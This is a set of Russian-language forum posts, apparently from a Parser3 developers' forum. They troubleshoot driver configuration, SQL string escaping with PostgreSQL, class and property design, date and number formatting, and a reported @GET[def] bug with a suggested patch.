/home/u11111/site.ru/www/auto.p(52:2): 'mysql://user:password@u11111.mysql.masterhost.ru/u11111_?charset=cp1251' undefined protocol 'mysql' [parser.runtime] [uri=/, method=GET, cl=0]\
\
В auto.p путь к драйверу раскомментирован. Пути к драйверам,вроде, в порядке. Пишет в тесте:\
Неверная структура таблицы $SQL.drivers \
Возможно Вы редактировали конфигурационный файл и у Вас символы табуляции заменились пробелами. \
Содержимое таблицы:\
строка	protocol driver client\
1	mysql $sqldriversdir/libparser3mysql.so libmysqlclient.so\
\
Сайт писал не я, с парсером дел не имел до этого, куда копать?"
"80267","Такое чувство, что это уже где-то было, но на форуме не нашёл.\
\
проблема такова:\
$query[SELECT * FROM node WHERE node_id = 150 AND name = '^taint[sql][test']']\
\
Получаем вместо ожидаемого: name = '150\\'', \
name = '150'''\
\
Парсер: 3.4.3 (compiled on x86_64-unknown-freebsd8.4)\
\
Что можно попробовать?"
"80268","undefined protocol 'mysql' означает, что:\
- парсер встретил ^connect[mysql://...]{...}\
- при этом таблица с SQL драйверами не содержит строки, описывающей то, что делать со строкой соединения, начинающейся с mysql://\
\
наиболее вероятно: парсер не находит тот конфигурационный auto.p, в котором всё это определено.\
попробуйте посмотреть, что говорит _test.html"
"80269","возьмите свежий драйвер pgsql и добавьте в строку соединения опцию:\
?standard_conforming_strings=0"
"80270","драйвер попробую пересобрать, спасибо.\
\
Насчёт опции... у меня стоит standard_conforming_strings=1\
не помню точно, но кажется тоже была проблема с экранированием каких-то символов и поставили её в 1. (вроде бы из-за слешэй)"
"80271","насчёт драйвера, слил с head sql/pgsql проверил changelog, последние изменения:\
2012-06-26      moko\
        * libltdl/libltdl.vcproj 1.4:\
                libltdl release build fixed\
\
проверил свой драйвер, который собирал, там теже изменения последние. Он сейчас и работает получается."
"80272","С первой проблемой вроде разобрался - использовал редактор под виндой, который, видимо, переформатировал текст, убирал табуляции и не давал нормально работать программе. Теперь имею \
\
/cgi-bin/lib/system/libmysqlclient.so: wrong ELF class: ELFCLASS32 [<no type>]\
\
Я так понял, не та библиотечка"
"80273","Да, парсер у вас 64-х битный, а libmysqlclient.so - 32-х битная. Битность должна совпадать, думаю у вас ibmysqlclient.so не от той версии парсера."
"80274","Спасибо, починил. Действительно, изначально проблема была в том, что правил не тем текстовым редактором, далее - подпихивал не ту библиотеку (видимо, сам запутался, пока экспериментировал). Теперь ругается на то, что при выводе новостей, что класс (class_page) уже определен, буду дальше биться. Главное - сайт взлетел! Всем спасибо."
"80275","[quote]класс (class_page) уже определен[/quote]\
\
Это вопрос совместимости с новой версией парсера.\
\
http://www.parser.ru/news/\
\
\"При загрузке класса с именем, которое уже существует у одного из загруженных классов, теперь по умолчанию выдаётся исключение (exception). Отключить его можно с помощью указания опции $.replace(true) у ^use[] и ^process{}\""
"80276","Идеально, огромное спасибо!"
"80277","pgsql вроде как умеет или так или так. хотя могу ошибаться, почитайте его доку по поводу данной опции для начала."
"80278","Ставить я пробовал и 0, положительного результата по данному вопросу не было, экранировалось одинаково одинарной кавычкой.\
\
В доке сказано (http://www.parser.ru/docs/lang/?opuntainttaint.htm), что для типа преобразования sql, \"для PgSQL символы ' и \\ предваряются символом \\ \"\
Как можно этого добиться?"
"80279","[code]\
                if(connection.standard_conforming_strings){\
                        for(from=str; from<from_end; from++){\
                                if(*from=='\\'')\
                                        *to++= '\\''; // \"'\" -> \"''\"\
                                *to++=*from;\
                        }\
                } else {\
                        for(from=str; from<from_end; from++){\
                                switch (*from) {\
                                case '\\'': // \"'\" -> \"''\"\
                                        *to++= '\\'';\
                                        break;\
                                case '\\\\': // \"\\\" -> \"\\\\\"\
                                        *to++='\\\\';\
                                        break;\
                                }\
                                *to++=*from;\
                        }\
                }\
[/code]\
\
Т.е. если standard_conforming_strings == 0, то выполняется то преобразование, которое требуется.\
\
p.s. В коментариях неправильно написано, но код эскейпит как надо. :)"
"80280","при standard_conforming_strings=0, name = '^taint[sql][xxx']' делает тоже самое, что и при standard_conforming_strings=1, т.е. преобразует в вид: name = 'xxx'''\
\
Причём раньше я такого не замечал, проблемы появились при обновлении postgresql до 9.3 (но не факт, предположение)."
"80282","Если было такое обновление, то внимательно читать пункт:\
E.31.2.1. Strings\
http://www.postgresql.org/docs/9.3/static/release-9-1.html\
\
Проверить значение standard_conforming_strings в конфиге постгреса.\
\
Так же полезен параметр escape_string_warning, который логгирует неправильный эскейпинг в старом коде."
"80284","Допустим есть класс webcore, который реализует все функции сайта безотносительно html, т.е. являет собой по сути API сайта, \
но сам файл класса (допустим webcore.p) получается довольно большим, т.к. несет много методов - от auth до get_catalogue, \
или прочее - то есть фактически реализуя всю Model (по понятиям MVC) \
\
Методов может быть много, т.к. они реализуют общее конечное API back-end'а работать с ними в одном файле-портянке может быть весьма неудобно.\
\
С наскока \"по-колхозному\" видится что-то такое:\
\
[code]\
@CLASS\
webcore\
\
# инициализация окружения\
@auto[]\
$sess[...]\
\
\
# пошли методы back-end'а\
\
@auth[action;login;password]\
^use[/_webapp/classes/webcore/mthd_auth.p]\
\
@get_content[objname;type;format]\
^use[/_webapp/classes/webcore/mthd_get_content.p]\
\
#...\
\
[/code] \
\
Т.к. webcore читается на каждую сессию, т.к. в минимальном обращении инициирует пользовательское/сессионное окружение, то\
читается относительно небольшой файл лишь с названиями методов и строкой use\
\
а дочитываются только содержания тех методов, что вызываются в данный момент\
\
\
Или можно как-то \"кошернее\" ?"
"80286","Ага, выкопал:\
[code]\
@CLASS\
webcore\
\
@OPTIONS\
# надеюсь тут можно две не взаимоисключающие опции\
locals\
partials\
\
@method1[]\
\
\
[/code]\
\
хотя придется тогда заранее знать какие методы я буду использовать в конкретном начальном вызове и подключать эти \"partial_модули класса...\"\
\
или надо просто скрестить прошлый варинат с этим.., типа\
\
[code]\
@CLASS\
webcore\
\
@OPTIONS\
locals\
partial\
\
@method_one[var]\
^use[/_webapp/classes/webcore/method_one.p]\
# а внутри тоже самое только без ^use\
# а метод с кодом... но что-то не уверен что это сработает\
\
@methos_two[var]\
# наколхозить\
$filemod[^file::load[/_webapp/classes/webcore/method_two.p]]\
\
#и последующий \
^process{$filemod.text}\
\
\
[/code]\
\
P.S.: Наследования классов что-то боюсь, не уверен к чему это приведет...\
опять же суть - динамическа подгрузка только того, что пригождается в конкретном вызове"
"80288","да, с 0 сейчас тоже делается не совсем то, что требуется вам (не добавляется символ \\ перед символами \\ и ')\
вопросы:\
- какая у вас версия pgsql?\
- что у вас в одноимённой опции pgsql (standard_conforming_strings)?\
\
если у вас свежая версия pgsql (9.1+), то:\
- включите standard_conforming_strings в опциях pgsql\
- уберите опцию standard_conforming_strings из строки соединения с pgsql (это равносильно == 1 этой опции).\
\
после этого всё должно стать хорошо."
"80290","Да, действительно в конфиге пг опция standard_conforming_strings была выключена, pgsql ветки 9.3."
"80291","Надо подумать над свойствами, они парадигмически-пугают меня :)\
брать переменную (не зная наверняка что это подразумевает запуск функции на каждое обращение) с этим надо быть осторожным."
"80292","@autouse - это встроенный метод MAIN? или намек на собственную реализацию.\
\
P.S.: Так не удобно шариться по документации без поиска по ней вставьте чтоль yandex или google search bar... чтобы не забивать в запрос нудное site:parser3.ru/docs/lang/"
"80293","Насколько я успел понять, интроспекцию Parser3 умеет, а динамически добавлять методы к уже инициированному классу?"
"80294","Бояться свойств не нужно — это очень удобный и мощный механизм. Особенно он хорош в тех местах, где вызов метода семантически не подходит. Ленивая загрузка моделей как раз тот случай.\
\
Методы можно создавать динамически через process.\
\
p.s. У меня есть пример приложения для блога в котором реализованы простые классы для организации цепочек моделей на свойствах. http://code.volchkov.net/pf-blog/src/1d25e7178e3f/models/?at=default"
"80295","[quote]Так не удобно шариться по документации без поиска [/quote]\
\
http://www.parser.ru/docs/ - где по-вашему ищет поиск? :)"
"80297","Не могли бы вы, если не сложно, привести простой и понятный пример, с цепочкой свойств. Я пока не особо представляю как это должно выглядеть на практике.\
\
Прочитал пример по вашей ссылке. Из текста непонятно следующее:\
[quote]Кроме того в такой ситуации мы можем сделать модули вложенными[/quote]\
\
Как должны выглядеть вложенные модули (чесслово вариаций в голове слишком много, уверен 99% неправильные)"
"80298","Примеры я привел проще некуда. Разбиваете свою модель на логические блоки — модули. Выносите блоки в классы. Делаете еще один класс (core), который объединяет ссылки на модули. Можно банально положить ссылки в переменные, а можно сделать ленивую загрузку (Lazy load) через свойства.\
\
Можно пойти еще дальше и сделать дерево из модулей, т.е. вкладывать модули не только в core, а в другие модули. Для того, чтобы не делать это руками, можно сделать несложный общий предок с методом addModule и свойством-ловушкой GET_DEFAULT. От этого класса отнаследовать и модули и core. Его реализация есть в примере блога.\
\
Очень рекомендую почитать книжки Мартина Фаулера:\
http://www.ozon.ru/context/detail/id/4884925/\
http://www.ozon.ru/context/detail/id/1308678/"
"80300","а как тогда безопасно эмулировать вызов функции с параметрами?\
\
Например, вырастает такая цепочка:\
\
  \
  $ormdata.gbook.last_records\
\
при этом, у last_records есть допустим limit и порядок сортировки внутри,\
я должен буду написать так?\
\
  $ormdata.gbook.last_record.limit[100]\
  $ormdata.gbook.last_record.sort[by_abc_desc]\
  \
 и только потом могу запрашивать\
  \
  $ormdata.gbook.last_record \
\
понимая, что оно выдаст с предварительно заданными параметрами.\
\
Я в принципе понимаю, что если строки будут идти строго последовательно, то перехватить присваивание какой-то другой участок кода по идее не может,\
но все же такой разрыв несколько настораживает\
\
или есть способ однострочный?"
"80302","Добрый день.\
У меня такой вопрос, прошу не судить строго.\
Как создать файла .htaccess? Как он вообще должен создаваться и что там должно быть прописано?\
Я установил Денвер с базовым парсером. А что дальше? Когда делал сайт на джумле проблем не было а тут совсем застрял."
"80303","[code]# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>[/code]\
\
Соответственно, рядом с директорией 'www' должна лежать директория 'cgi-bin', а в ней - установленный парсер.\
\
[url=\"http://www.parser.ru/download/win32/\"]Написано же всё[/url]  :-)\
\
P.S. На сайте Денвера можно найти расширение - \"Denwer + Parser\".\
Парсер там очень старый, но всё сконфигурировано и работает. Можно посмотреть, что где лежит, и поставить новый парсер по аналогии."
"80304","Друзья-коллеги,\
\
поделитесь, пожалуйста, Parser3.mode,  чтобы нормально работал с Coda 2. То, что нахожу, ставится, даже автоподсказки есть, но цветной разметки нет.\
\
Help pls!"
"80305","Если есть проблемы, попробуйте спросить автора. :)"
"80306","Добрый человек, спасибо тебе большое! :-)))))\
\
Блин, никак не мог эту ссылку найти! \
\
Да обрушатся все благодати мирские на дом ваш! )))"
"80308","Как я вычитал вашего из примера использования свойств и задания нескольких параметров через свойства:\
[code]\
$_defaultOrderBy[$.title[asc] $.clientID[asc]]\
[/code]\
используются просто ключи хеша - это понятно,\
я же о том, что когда задаешь параметры функции(методу), то она(он) возвращает тебе результат работы.\
\
А этот пример это просто присвоение, за которым должен последовать вызов результатов.\
\
Нет, я понимаю, что во-многом это нормально, но я в общем хотел просто услышать один из вариантов типа:\
 \"возможно вот так\" или \"невозможно, и не парься\""
"80309","Однострочное задание параметров для функции перед получение результата не столько \"объединяет\" в одном месте, как контроллирует набор этих параметров и их количество. \
\
Иначе контекст крутится только в голове о том, что и в какой момент являет собой совокупный набор параметров, достаточный для наконец-то вызова результата.\
\
P.S.: Или я делаю делаю из мухи слона?"
"80310","... и про свойства и про модели и про то как сделать интерфейс для ОРМа. Вы упорно их игнорируете и пытаетесь изобрести нечто непонятное.\
\
Цепочек методов в Парсере нет, т.е. написать ^core.clients.all[].in[1,2,3,4,5].order_by[name].limit[10] не получится. Написать ^core.clients.all[$.[id in][1,2,3,4,5] $.order_by[name] $.limit[10]] элементарно. Придумаете что-то более простое — напишите. :)"
"80312","Все таки синтаксис парсера запутывает..."
"80315","Но мне так меньше нравится. :)"
"80319","Т.е. я хочу допустим различать когда я прошу значение переменной, когда я ее присваиваю, а когда вызываю метод, может тогда сделать префикс из псевдо-свойства\
при этом для метода и присваивания \
типа:\
[code]\
  #читаю логины первых 100 пользователей онлайн, сортированных по id\
  $_get.data.users.online.login[ $.limit[100] $.orderby[id] ]\
\
  #записываю новое имея текущего пользователя применяя фильтр\
  $_set.data.users.current_user.name[ $.value[$form:name] $.filter[low_case] ]\
  \
  #вызываю именно функцию\
  $_call.data.users.f_login[ $.login[$form:login] $.pwd[$form:pwd] ]\
  \
\
[/code]\
\
 Не я конечно, понимаю, что это уже все извращения... особенно с _set.. filter\
 но это уже чисто спортивный интерес"
"80324","Предлагаю пока закрыть дискуссию - мы ходим по кругу. Все это уже обсуждалось."
"80326","[code]$date[^cdate::create(1967;01)]\
^dtf:format[%d %h %Y;$date;$dtf:rr-locale][/code]\
\
dtf.p - Can't create date.\
\
Что я делаю не так?\
И жаль, что не пишет почему именно он ее создать не может. :("
"80327","[quote] Диапазон возможных значений - от 01.01.1970 до 01.01.2038 года. [/quote]\
\
На 64-битных системах, насколько я помню, конечная дата в далеком будущем, но EPOCH так и останется 1 января 1970 г.\
\
p.s. http://www.parser.ru/examples/cdate/ или использовать средства работы с датами СУБД."
"80329","если глянуть в класс, то он ждет два параметра: \
[code]@CLASS\
cdate\
\
#==========================================================================================\
# Конструктор класса\
@create[adate;locale][nowdate;tmp][/code]\
\
т.е. первым параметром идет дата (string или date)"
"80332","По поводу «важной вещи» я бы поспорил. Мне, например, ни разу это не потребовалось за десять лет. :)"
"80333","Ну мне до этого тоже не требовалось, но вот например, если в БД содержится список сотрудников и их даты дней рождения. То там может быть приличное кол-во людей, родившихся до 70 года. А потом я хочу в таблице сотрудников для удобства выводить их даты в человеческом виде. И вот. :)"
"80334","Сабж.\
Хочу стандартными средствами отделять, тысячные разряды пробелом (запятой).\
Например: 1 000 000\
или 1,999,999.88\
\
Могу?\
Или надо своё по-символьное чудо программировать?"
"80335","[code]@formatNumber[number;separator]\
^if(!def $separator){$separator[&nbsp^;]}\
$result[^number.match[(\\d)(?=(\\d{3})+^$)][g]{${match.1}$separator}][/code]"
"80337","http://www.parser.ru/docs/lang/stringmatch.htm\
http://www.parser.ru/docs/lang/stringmatchreplace.htm\
\
UPD:\
https://www.debuggex.com/ - полезный ресурс для освоения регулярных выражений."
"80341","Задача в том, что в рамках каждого соединения, мне надо делать определенный пред-запрос или команды для mysql, а потом уже основные запросы.\
\
Например, так:\
[code]\
# я в auto.p (конфига) делаю просто\
^connect[$SQL.connect-string]{\
    ^void:sql{SET NAMES 'cp1251'}\
}\
[/code]\
\
И оно конечно работает, но только потому, что последующие ^connect-ы оказываются в рамках одного соединения автоматически. Но это я так понимаю небезопасно и не гарантировно.\
\
Т.е. если запросы распадутся все же на два соединения, то мой SET NAMES - не попадет в него.\
\
поэтому, нужна какая-то своя обёртка \
типа ^myconnect...\
но что-то меня смущает как что и куда будет возвращаться...\
\
[code]\
@myconnect[sqlcode]\
^connect[$SQL.connect-string]{\
   ^void:sql{SET NAMES='cp1251'}\
   $sqlcode\
}\
\
@main[]\
^myconnect{ \
           $test[^int:sql{SELECT 2*2}]  \
}\
\
# или лучше как-то типа так\
\
$test[^mysqloperator{^int:sql{SELECT 2*2}}]\
\
@mysqloperator[sqlcommand][locals]\
^connect[$SQL.connect-string]{\
   ^void:sql{SET NAMES 'CP1251'}\
   $result[$sqlcommand]\
}\
[/code]\
\
Или можно как-то покрасивее/удобнее сделать?"
"80342","второй вариант лучше, т.к. когда-то вы можете захотеть написать:\
[code]\
$int[^mysqloperator{^int:sql{SELECT 2+2}}]\
[/code]\
и не будете рады видеть пробельные символы вокруг 4\
\
кроме того, при каждом вызове mysqloperator у вас будет делаться ^void:sql{SET NAMES 'CP1251'}, что не фонтан.\
\
правильнее наверное сделать класс который будет помнить количество вызовов и выполнять ^void:sql{SET NAMES 'CP1251'} только при первом вызове."
"80343","То лучше это сделать в \
[code]$connect_string[mysql://user:pass@localhost/database?charset=cp1251] [/code]"
"80344","Ответы приходят все равно \"кривые\" в главной кодировке сервера хостера, а она latin1"
"80346","хм, а покажите ка таблицу\
[code]SHOW CREATE TABLE[/code]"
"80347","Настройки сервера и базы надо мочь править.\
Потому, что парсеровская страница теста на русском, в разделе SQL все равно не проходит корректно.\
А там написано нечто такое:\
[code]\
^connect[$SQL.connect-string]{\
				$sResult[^string:sql{SELECT UPPER('$sLower')^if($bOracle){ FROM DUAL}}[$.default{}]]\
			}\
[/code]\
\
то есть внутренние функции тоже правильно не отрабатываются.\
Причем, с UTF8 тоже.\
Если его везде поставить от response-charset, до параметра в строке подключения.\
\
P.S.: На самом деле вопрос не так актуален по кодировке, потому что сейчас уже VDS и есть все полномочия, а скорее было интересно как это в принципе обернуть правильно."
"80348","[code]\
@USE\
Debug.p\
\
@auto[]\
\
@main[]\
\
$t[^file:list[/; $.stat(true) $.filter[.*] ]]\
\
^dshow[$t]\
[/code]\
1. Windows XP\
2. (compiled on x86_64-unknown-freebsd8.0) тоже:\
\
Версия parser = 3.4.3 \
\
...test.html(9:10): 'list' called with invalid option [parser.runtime] [uri=/home/test.html, method=GET, cl=0]\
\
Везде:\
[code]\
$request:charset[utf-8]\
$response:charset[utf-8]\
[/code]\
\
Ломается на:\
[code]\
$.filter[.*]\
[/code]\
Если его убрать то всё ОК."
"80350","Я это всё видел и попробовал, перед тем как писать сюда."
"80352","Кодировки менял с utf-8 на 1251  и назад. Объект regex создавал и подсовывал его в $.filter[]. Не-а. Всё равно сбой."
"80353","вы-же прочитали ветку, ссылку на которую я указал?\
там написано, что это баг и в 343 не работает. работает в head версии (можно самостоятельно пропатчить 343)."
"80354","Баг и баг. Понял."
"80355","http://www.parser.ru/forum/?id=70115"
"80356","С разницей в часовой пояс. Дело под Денвером, Windows XP, происходит. SELECT выдаёт всё правильно, а ^date::now[] отстаёт на три часа. Что поправить надо?\
\
ЗЫ. Я понимаю, что вопрос бредоватый, но наверняка кто-то уже сталкивался с подобным и может просто ткнуть пальцем в искомое."
"80357","Сабж.\
Читая документацию и пример, понимаю под этим то, что будет попытка обращения к объекту по типу системного класса или встроенного типа, но на примере def эксперимент не удается.\
В принципе пытаюсь изучить/потыкать и не понимаю эффекта или описание не очень подробное. \
\
Пример:\
[code]\
@CLASS\
myclass\
\
@create[]\
\
@GET[stype]\
^switch[stype]{\
  ^case[def]{$result(false)}\
}\
\
\
@main[]\
$myobj[^myclass::create[]]\
^if(def $myobj){ OK }\
[/code]\
\
Выводит: \"ОК\", хотя ведь я явно возвращаю false \
Что я делаю не так?\
\
А еще там есть типа expression - не описано как это и где применимо в принципе в любом выражении?"
"80358","Т.е. код внутри \
  ^case[def]{ код }\
отрабатывается, но что дает $result(false|true)\
в таком случае - вообще не понятно.\
Т.е. GET срабатывает как бы параллельно или как?\
Взято из примера в документации:\
[code]\
@CLASS \
MyTable \
\
@create[uParam] \
#...\
\
# метод возвращающий значение объекта в разных контекстах вызова \
@GET[sMode] \
^switch[$sMode]{ \
   ^case[table]{$result[$t]} \
   ^case[bool]{$result($t!=0)} \
   ^case[def]{$result(true)} \
   ^case[expression;double]{$result($t)} \
   ^case[DEFAULT]{^throw[MyTable;Unsupported mode '$sMode']} \
} \
\
[/code]\
\
что и как тут делает def -> result(true) если\
result(false) не работает, мне из документации не ясно."
"80359","Сабж.\
Делаю вот такой тестовый пример:\
[code]\
@CLASS\
billing\
\
@GET_client[][obj]\
$obj[^clients::create[]]\
$result[$obj]\
\
@CLASS\
clients\
\
@GET_list[][obj]\
$obj[ $.1[bob] $.2[alice]]\
\
[/code]\
\
В итоге:\
[code]\
@main[]\
\
$my[^billing::create[]]\
\
# если попрошу так:\
$my.client.list.1\
# то получу bob\
\
# если попрошу тарабарщину типа:\
$my.blahblah.list.1\
# то получу пустое поле, но не получу ошибку\
\
[/code]\
\
Почему я не получаю ошибку обращаясь к несуществующему свойству класса billing, если \
@GET_DEFAULT у меня не определен совершенно."
"80361","[b]auto.p[/b]\
[code]\
@auto[]\
^use[/module.p]\
[/code]\
\
[b]module.p[/b]\
[code]\
#-------------\
@CLASS\
billing\
\
@create[]\
\
@GET_client[][obj]\
$obj[^client::create[]]\
$result[$obj]\
#--/-----------\
\
\
#-------------\
@CLASS\
client\
\
@create[]\
\
@GET_list[][obj]\
$obj[\
      $.1[bob]\
      $.2[alice]			\
    ]\
$result[$obj]\
#--/-----------\
[/code]\
\
[b]index.html[/b]\
[code]\
@main[]\
<html>\
<body>\
<h1>WAT</h1>\
\
$my[^billing::create[]]\
\
$my.client.list.1\
\
$my.perditmonocle.list.1\
\
<br />\
$env:PARSER_VERSION\
</body>\
</html>\
[/code]\
\
Выводит:\
WAT\
bob\
3.4.3 (compiled on i686-pc-linux-gnu)\
\
\
Все тестовые страницы парсера у меня проходит, да я его и не собирал, я скачал для debian собраный уже. Запускаю на Ubuntu Server 12.04.5"
"80362","Сабж. \
Не встретил в документации почему это должно работать так:\
[code]\
@CLASS\
myclass\
\
@create[]\
\
@list[]\
$result[$anymore.perdimonocle.as.you.wish]\
\
@main[]\
<html>\
<body>\
<h1>WAT</h1>\
$myobj[^myclass::create[]]\
^myobj.list[]\
</body>\
</html>\
[/code]\
\
Результат: [b]WAT[/b]\
и никаких ошибок\
как так?"
"80363","Че за фигня?\
[code]\
@main[]\
$mytab[^table::create{ID	NAME\
1	Alice\
2	Bob\
}]\
\
$myobj[^myclass::create[]]\
\
$test(0)\
\
$myjunked{ some_smoked $test(2) }\
\
$myhash[\
         $.some[\
                    $.title[Hello]\
                    $.obj[$myobj]\
                    $.tab[$mytab]\
                    $.code{ blah $test(1) }\
                    $.code2[$myjunked]\
                   ]\
]\
\
<pre>\
^reflection:class_name[$myhash.some]\
^reflection:class_name[$myhash.some.title]\
^reflection:class_name[$myhash.some.obj]\
^reflection:class_name[$myhash.some.tab]\
^reflection:class_name[$myhash.some.code]\
^reflection:class_name[$myhash.some.code2]\
------------------\
TEST=$test\
$myhash.some.code \
TEST=$test\
$myhash.some.code2\
TEST=$test\
</pre>\
[/code]\
Результат:\
\
hash\
string\
myclass\
table\
string\
string\
\
0\
1\
2\
\
Вопрос: чеваще происходит, почему junction не отзывается, но работает?"
"80364","[code]@CLASS\
myclass\
\
@create[]\
\
@GET[type]\
^switch[$type]{\
  ^case[def]{$result(false)}\
}\
\
\
@main[]\
$myobj[^myclass::create[]]\
^if(def $myobj){def}{undef}\
[/code]\
\
выведет \"undef\", хотя объект $myobj существует (его только что создали), т.к. будет вызван GET с параметром def, который, согласно написанному, вернёт false и в if сработает else.\
\
ну... это в теории. но похоже вы нашли баг в @GET[def] и это не так. исправим :)\
workaround: пока в случае def для того, чтобы сработало как надо можете написать   \
[code]\
^case[def]{$result[]}\
[/code]\
\
[quote]А еще там есть типа expression - не описано как это и где применимо в принципе в любом выражении?[/quote]\
expression это то, что в круглых скобках, например:\
[code]\
^if($x){...}\
^if($a eq 'asd' || $b){...}\
[/code]\
\
т.е. \"$x\" и \"$a eq 'asd' || $b\" это expressions (выражения), которые вычисляются.\
если $x -- объект и у него есть @GET[], то в параметре типа вызова придёт \"expression\"."
"80365","при попытке чтения из несуществующего поля объекта будет возвращён void.\
если вам надо запретить доступ к несуществующим полям, вы пожете добавить @GET_DEFAULT[] и в нём делать throw с ошибкой.\
\
а собственно @GET_DEFAULT[] в вашем коде я и не увидел."
"80366","обращение к полю объекта == обращение к переменной. \
возвращается void (который при выводе печатается как пустая строка).\
\
[code]\
@main[]\
=$a=\
[/code]\
\
выведет\
==\
\
аналогично происходит и с обращением к полям объекта/класса (поле объекта -- это просто переменная, которая находится не в MAIN, а в указанном объекте)."
"80367","в тот момент, когда парсер выполняет этот фрагмент в вашем коде:\
[code]\
$.code2[$myjunked]\
[/code]\
\
он выполняет junction и полученный результат (строку в вашем случае) посещает в поле хеша code2.\
\
P.S. постарайтесь не использовать junction-переменные."
"80368","Да, меня именно смутил тот факт, в итоге false\
не возвращается. \
\
Мне это совершенно не горит, и видимо мало кому горело, раз вылезло только сейчас. \
\
Я просто хочу поднабраться понимания parser3 и активно разбираюсь с ним."
"80370","Не зря значит ковырякаю, не каждый день бажики находят в релизах наверное... я про @GET[def]"
"80373","я имел в виду, что не стоит пользоваться junction-переменными (как у вас в коде).\
а так junction-ами вы пользуетесь постоянно:\
[code]\
^if(условие){это -- junction, который будет передан методу парсерному if и который будет \"выполнен\" если условие -- true}{аналогично для false}\
[/code]\
\
аналогично вы можете написать свой метод, который будет принимать _код_ но выполнять этот код будет при определённый усовиях. причём код выполняется в контексте вызова, а не в контексте выполнения вызванного метода (это важно).\
именно для этих целей в основном и существуют junction-переменные."
"80374","[quote]Мне это совершенно не горит, и видимо мало кому горело, раз вылезло только сейчас.[/quote]\
\
я в своих классах использовал только $result(true) для def (проблема есть только с def в случае возврата эквивалента false).\
в любом случае я подсказал вам workaround, который работает сейчас и будет работать потом: $result[]\
\
если кому-то горит, то в pa_vobject.C надо исправить:\
[code]\
bool VObject::is_defined() const {\
    if(Value* value=get_scalar_value(\"def\"))\
-        return value->is_defined();\
+        return value->as_bool();\
    return Value::is_defined();\
}\
[/code]"
"80375","что там сейчас с XP я даже и не знаю, хотя в виртуалке у меня у неё со временем проблем нет.\
парсер тупо получает системное время.\
\
- точно у вас не выполняется никаких roll[tz] до вашего тестового кода (имею в виду в каких нить auto или других p)?\
- время собственно выставлено правильно?\
- какая выставлена timezone?\
- что говорит команда time, запущенная из консоли?"
"80376","[quot]- точно у вас не выполняется никаких roll[tz] до вашего тестового кода (имею в виду в каких нить auto или других p)?[/quot] Точно.\
\
[quot]- время собственно выставлено правильно?[/quot] Да, правильно. И MySQL его правильно отдаёт же.\
\
[quot]- какая выставлена timezone?[/quot] Под Виндой? +3 часа выставлена. И в переменных окружения TZ=MSK-3MSD\
\
[quot]- что говорит команда time, запущенная из консоли?[/quot]\
Под Виндой? ) Вот, что говорит:\
\
[quot]E:\\>time\
Текущее время: 13:11:27.93\
Введите новое время:[/quot]\
\
В общем фиг с ним. Это Денвера какой-то глюк скорее всего либо, что даже вероятнее, это из-за прекращения поддержки Windows XP Майкрософтом. Они всё же выпустили какое-то обновление по переводу часов на новое время, но видать криво. В общем надо либо рыться в конфигах Денвера и Винды, и искать что там выставлять, либо забить. Я второе выбрал. На хостинге всё нормально выставлено на сервере и всё работает. А в коде я строчку с хаком добавил, добавляющем при отладке 3 часа, и тоже всё работает. \
\
Я думал может кто просто сталкивался уже с таким и сразу скажет. Но если нет, то не стоит и возиться с этим. Пустая трата времени."
"80378","Здесь поведение настраивается.\
\
http://www.parser.ru/docs/lang/?parserconfmethod.htm\
\
[quote]При задании в конфигурационном методе $STRICT-VARS(true) будет выдаваться исключение при попытке обращения к неинициализированным пременным.   [3.4.2][/quote]"
"80381","Сабж.\
\
Задача: изолировать внутренние поля/переменные класса, и отдавать что хочу только через свойства или методы в result'e\
\
Получается пока только что-то одно: либо я подхватываю в свойстве внутреннюю переменную и работаю с ней и она шарится наружу. Либо изолируется как наружу, так и между методом и свойством внутри класса.\
\
Пример: я создаю объект класса myclass и отдаю конструктору hash-объект. Я хочу получить нечто, что является частью hash-объекта через запрос несуществуюего поля и дальнейшую обработку и выдачу.\
\
[code]\
@CLASS\
myclass\
\
@OPTIONS\
locals\
\
@create[input_obj]\
$self.internal_obj[$input_obj]\
\
@GET_DEFAULT[fieldname]\
$result[$self.internal_obj.$fieldname]\
\
@main[]\
$myhash[\
         $.alice[0]\
         $.bob[1]\
       ]\
\
$myobj[^myclass::create[$myhash]]\
\
# Вернет TEST=1, отрабатывается через свойство\
TEST=$myobj.bob\
# Вернет TEST=1, по прямому обращению к полю объекта, а как мне его изолировать? \
TEST=$myobj.internal_obj.bob\
\
[/code]"
"80383","Боюсь красиво никак. Хотя можно например прятать internal_obj не в самом объекте, а где-нибудь еще, по ключу ^reflection:uid[$self]. :)\
\
А вот если вы скажете в каком-нибудь сообществе пользователей типизированного языка про возможность через $caller обратиться к локальной переменной вызывающего метода - они вообще в обморок упадут. :)\
\
Еще в парсере можно например так:\
\
$myobj[^myclass::create[$myhash]\
    $.property1[value1]\
    ^if($some_condition){ $.property2[value2] }\
]\
\
В общем у каждого языка свои особенности и сильные/слабые стороны, надо уметь пользоваться сильными сторонами и избегать слабых, а не буквально следовать какой-нибудь парадигме. Постоянная работа через @GET_DEFAULT сильно ударит по производительности, делать это только для изоляции - неправильно."
"80384","Не вполне понял, как это будет в итоге выглядеть?\
Ну положу я не сам объект, а uid объекта, а\
как потом по uid его снова достать? Я что-то не нашел  в reflection метода наоборот возвращающего объект по uid. Или что имелось в виду?\
\
А про GET_DEFAULT это я делаю эксперименты, пока сам не знаю что это получится, но интуитивно хочу какую-то \"серебряную пулю\" собрать."
"80389","Где это в документации описано как это вообще работает, я хоть почитаю. Пока тяжело в ней выискать эти тонкости.\
\
В данном случае:\
[code]\
$myobj[^myclass::create[$myhash]\
$.property1[value1]\
]\
[/code]\
куда попадает $.property1 ?\
хвостом как второй параметр к методу @create?"
"80390","[code]$myobj[^myclass::create[$myhash]\
$.property1[value1]\
][/code]\
\
Практически эквивалентно такому коду:\
\
[code]$myobj[^myclass::create[$myhash]]\
$myobj.property1[value1]\
[/code]\
\
Но когда надо задать значение нескольким ствойствам, первая запись смотрится существенно выигрышнее.\
\
[^myclass::create[$myhash]  ] - в текущем констекте сохранен объект\
[... $.name[value] ] - присвоить полю name переменной текущего контекста значение value. \
\
Почти как при работе с хешом http://www.parser.ru/docs/lang/?hash.htm"
"80391","Можно конкретизировать? Свойства объекта - и есть локальные переменные объекта. $class:name - свойства класса aka локальные переменные класса."
"80392","Не хватает возможности, уметь прятать переменные/(а хорошо бы еще и методы) от прямого доступа через объект.\
